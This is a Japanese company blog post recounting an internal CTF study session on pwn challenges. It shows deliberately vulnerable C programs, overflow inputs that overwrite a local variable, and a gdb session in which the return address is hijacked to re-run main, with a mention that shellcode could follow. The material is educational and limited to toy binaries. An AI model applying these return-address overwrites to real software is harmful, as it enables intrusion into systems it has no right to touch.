こんにちは。フロムスクラッチ新人エンジニアの遠藤です。
フロムスクラッチでは、データを取り扱う会社としてセキュリティに関する社内勉強会を行っており、新人の自分がその場での学びをこちらで共有したいと思います。
今回は以前に投稿したブログの続編として投稿させていただきます。気になる方はぜひこちらもご覧になっていただけると、今回の記事と合わせてより理解が深まるのではないかと思います。(記事のリンク)
そして今回は「CTFのバイナリ解析から学ぶセキュリティとハッキング」というテーマの中でCTFのpwnに着目してお話ができればと思います。ちなみに、pwnとはCTFの種目の一つで、問題を攻略してサーバ権限を得る、といった手順を踏む問題のことを言います。
勉強会の内容自体が書籍の『セキュリティコンテストチャレンジブック CTFで学ぼう情報を守るための戦い方』を参考にしているので、より深く気になる方は手にとって見てはいかがでしょうか。それでは今回もよろしくおねがいします。
1.脆弱性を探す
前回の記事でも少し触れましたが、pwn問題の基本的な攻略法の手順として下記のような順番で行っていきます。
1.環境を調べる(下調べ)
2.脆弱性を探す
3.エクスプロイト
前回の記事では、1の環境を調べる方法を紹介させていただいたので、今回は2の脆弱性を探す以降を記事にできればと思います。
脆弱性を探す基本的な方針は下記の2つです。
・プログラムが落ちるような入力を探す
・脆弱性の存在する箇所にプログラムを実行して辿り着く
プログラムが落ちるような入力を探すステップでキーワードとなるのがバッファーオーバーフローです。 例えば、下記のようなユーザー入力を扱う関数があるとします。
#include <stdio.h> int main(int argc, char *argv[]) { char buffer[100]; fgets(buffer, 128, stdin); return 0; }
この関数では、宣言されたbuffer変数サイズは100バイト分で、読み込まれる文字列は最大128バイトです。これを実行すると例えば、
$ python -c 'print("A"*128)' | ./bof
などの入力を実行するとSegmmentation faultというメッセージが表示されます。
このようにfgetsなどのユーザー入力を扱う関数では入力をメモリ上に配置するため、入力がバッファサイズを超えてしまうとバッファオーバーフローの脆弱性に繋がることがあります。他にはscanfなども同様です。
ここで、どのような事が起こっているか簡単に説明させていただきたいと思います。
例えば図①のように16 bitのメモリ領域の中に、S1の領域を2bit予約してあり、2bitとなりにS2の領域を8bit持っているとします。ここで、図の②のようにS1の領域に”FROM TOKYO”という空白を含めて10文字のデータを入れるとします。データ自体は問題なく格納されます。しかしながら、バッファである2bit以上伸びてしまった文字列については担保されません。なぜならば、図の③のように、もし次の処理でS2の領域に”SCRATCH”という文字列が登録されれば” TOKYO”は上書きされてしまうからです。
以下、実際に実行してみました。
#include <stdio.h> #include <string.h> int main(int argc, char ** argv){ char s2[8],s1[4] ; strcpy(s1, "FROM TOKYO"); // s1の領域を越えて代入. fprintf(stdout, "%s\n", s1); strcpy(s2, "SCRATCH"); fprintf(stdout, "%s\n", s1); printf("s1 = %p : s2 = %p \n",s1,s2); return 0; }
こちらのコードをコンパイルして実行します。
$ gcc -m32 -fno-stack-protector -o example example.c
$ ./example FROM TOKYO FROMSCRATCH s1 = 0xff97f7e4 : s2 = 0xff97f7e8
実際に置き換わりました!
これは、IPなど大事な情報が入ったメモリについても同様のことが言えます。このように脆弱性は存在し、pwnではそれを見つけ出していきます。
具体的にローカル変数の破壊を行ってみると下記のようになります。
#include <stdio.h> int main(int argc, char *argv[]) { int zero = 0; char buffer[10]; printf("buffer address\t= %x\n", (int)buffer); printf("zero address\t= %x\n", (int)&zero); fgets(buffer, 64, stdin); printf("zero = %d\n", zero); return 0; }
こちらのコードをコンパイルし、実行すると
$gcc test.c -o bof1
$ ./bof1 buffer address = ffffe430 zero address = ffffe43c ctf4b zero = 0
$ ./bof1 buffer address = ffffe430 zero address = ffffe43c dddddddddddddddddddddddddddddd zero = 1684300900 Segmentation fault
1回目の実行では、ctf4b(5バイト+改行コード=6バイト)を入力していて、変数はバッファ内に収まっているので問題は発生しません。
一方で2つ目の実行ではバッファ不足のため全て埋めた上で変数 'zero' にまで入力が及んでしまい、zero変数が上書きされてしまっている状態です。
2.CPUの仕組み
さらにpwnで脆弱性をつくにあたってキーとなるのがCPUの仕組みです。この仕組を理解した上で、プログラムの脆弱性を探します。
プログラムを実行するにあたり、CPUとメモリとスタックが動きます。プログラムはメモリに格納されています。このとき、各命令文やデータが格納できるデータ量が割り当てられ、かつ割り当てられた箇所にポインタアドレスと言って、どこにどのデータが格納されているかわかるようになっています。
CPUはレジスタを持っており、次にメモリ内のどこのアドレスの命令文やデータを使用するのかのアドレスを持ちます。このとき、基本的には上から順番にアドレスが入り実行されます。しかし命令文などが順番ではなく別のアドレスに移動する場合に、一旦持っていたアドレスやローカル変数をスタック領域に退避させます。
スタック領域にはデータが積み重なるように格納されていき、リターンなどによりCPUに戻され実行されます。実行されるとスタック領域からは撤去されます。
3.エクスプロイト
ここでは上記で説明した脆弱性とCPUの仕組みを利用してクスプロイトをしていきます。エクスプロイトとはコンピュータのセキュリティ用語で、脆弱性を利用した悪意のある行為のことを指します。pwnでは問題を解くためにエクスプロイトを行っていきます。
先程CPUの仕組みで記載したスタックスペースのバッファーオーバーフローを狙っていきます。
全体の流れとしては下記のとおりです。
1.ローカル変数の破壊
2.ローカルアドレスの書き換え
3.リターンアドレスの書き換え
4.メイン関数の実行
ローカル変数の破壊については、脆弱性の箇所でご説明したので省略します。ここではローカル変数を書き換えから行います。
#include <stdio.h> int main(int argc, char *argv[]) { char buffer[10]; int zero = 0; fgets(buffer, 64, stdin); printf("zero = %x\n", zero); if (zero == 0x12345678) { printf("congrats!"); } return 0; }
こちらのコードをコンパイルします。上記のコードを32bitでコンパイルを行います。
$ gcc -m32 -fno-stack-protector -o bof2 test2.c $ file bof2 bof2: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=b2cc5abde805741fa786c49c96f71f3e859a0039, not stripped
ここで試しに変数 `zero` を12345678に書き換えてみようと思います。
12345678=x78\x56\x34\x12
で入力されるので、そのまま入れようとすると、
$ echo -e 'x78\x56\x34\x12' | ./bof2 zero = 0
このように変数 `zero` はゼロのままです。
バッファーオーバーフローを利用するため目的の数値の前に'AAAAAAAAAA'を書き加えて実行すると、
$ echo -e 'AAAAAAAAAA\x78\x56\x34\x12' | ./bof2 zero = 12345678
このように変数 `zero` を書き換えることができます。
このようにローカル変数が書き換えることができれば、同様に近くにあるリターン関数の場所を特定して書き換えることもできます。
#include <stdio.h> #include <string.h> char buffer[32]; int main(int argc, char *argv[]) { char local[32]; printf("buffer: 0x%x\n", &buffer); fgets(local, 128, stdin); strcpy(buffer, local); return 0; }
同様にこちらもコンパイルします。また、大量の文字列を入力した場合にオーバーフローする動作の確認も行いました。
$ gcc -m32 -fno-stack-protector -o bof3 test3.c $ ./bof3 buffer: 0x804a060 ctf4b $ ./bof3 buffer: 0x804a060 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Segmentation fault
こちらをgdbで実行します。結果は長いので中略していますが、
]$ gdb -q bof3 Reading symbols from /home/user/blogtest/bof3...(no debugging symbols found)...done. (gdb) r Starting program: /home/user/blogtest/bof3 buffer: 0x804a060 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA …(中略) EIP: 0x41414141 (b'AAAA') …(中略) Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? ()
こちらでEIPの値を知ることができます。
そこで、gdb-peda を用いてEIPのメモリアドレスを調べます。
出現する場所を特定したらあとはどこにリターンするかを決めます。
今回はmain関数の先頭にリターンさせます。逆アセンブルでmain関数の先頭を探します。
(前略) 0804849d <main>: 804849d: push ebp 804849e: mov ebp,esp 80484a0: and esp,0xfffffff0 80484a3: sub esp,0x30 80484a6: mov DWORD PTR [esp+0x4],0x804a060 80484ae: mov DWORD PTR [esp],0x8048594 80484b5: call 8048350 <printf@plt> 80484ba: mov eax,ds:0x804a040 80484bf: mov DWORD PTR [esp+0x8],eax 80484c3: mov DWORD PTR [esp+0x4],0x80 80484cb: lea eax,[esp+0x10] 80484cf: mov DWORD PTR [esp],eax 80484d2: call 8048360 <fgets@plt> 80484d7: lea eax,[esp+0x10] 80484db: mov DWORD PTR [esp+0x4],eax 80484df: mov DWORD PTR [esp],0x804a060 80484e6: call 8048370 <strcpy@plt> 80484eb: mov eax,0x0 80484f0: leave 80484f1: ret 80484f2: xchg ax,ax 80484f4: xchg ax,ax 80484f6: xchg ax,ax 80484f8: xchg ax,ax 80484fa: xchg ax,ax 80484fc: xchg ax,ax 80484fe: xchg ax,ax (後略)
先頭は0x804849dとわかったので、
$ echo -e 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x9d\x84\x04\x08'
実行してみると、
$ echo -e 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x9d\x84\x04\x08' | ./bof3 buffer: 0x804a060 buffer: 0x804a060 Segmentation fault
mainが2回実行されました!
このように、プログラムの実行位置を自由な場所に移動させることができるようになったので、いわゆるEIPを奪ったという状態になりました。
そしてどの領域でも実行できるようにすれば、バッファーの変数にシェルコードを仕込み実行させることもできます。
ここまでできることがpwnでの一つのポイントとなります。
4.おわりに
簡単に学びをまとめると、CPUやメモリ、また、言語などによって脆弱性というものが存在し、それを理解することによってよりセキュリティの強固なコードを書けるエンジニアになったり、外部からの攻撃から守れる知識を習得するという観点でCTFは非常に勉強になりました。まだまだ勉強不足なのでこれからも精進していきます。ありがとうございました。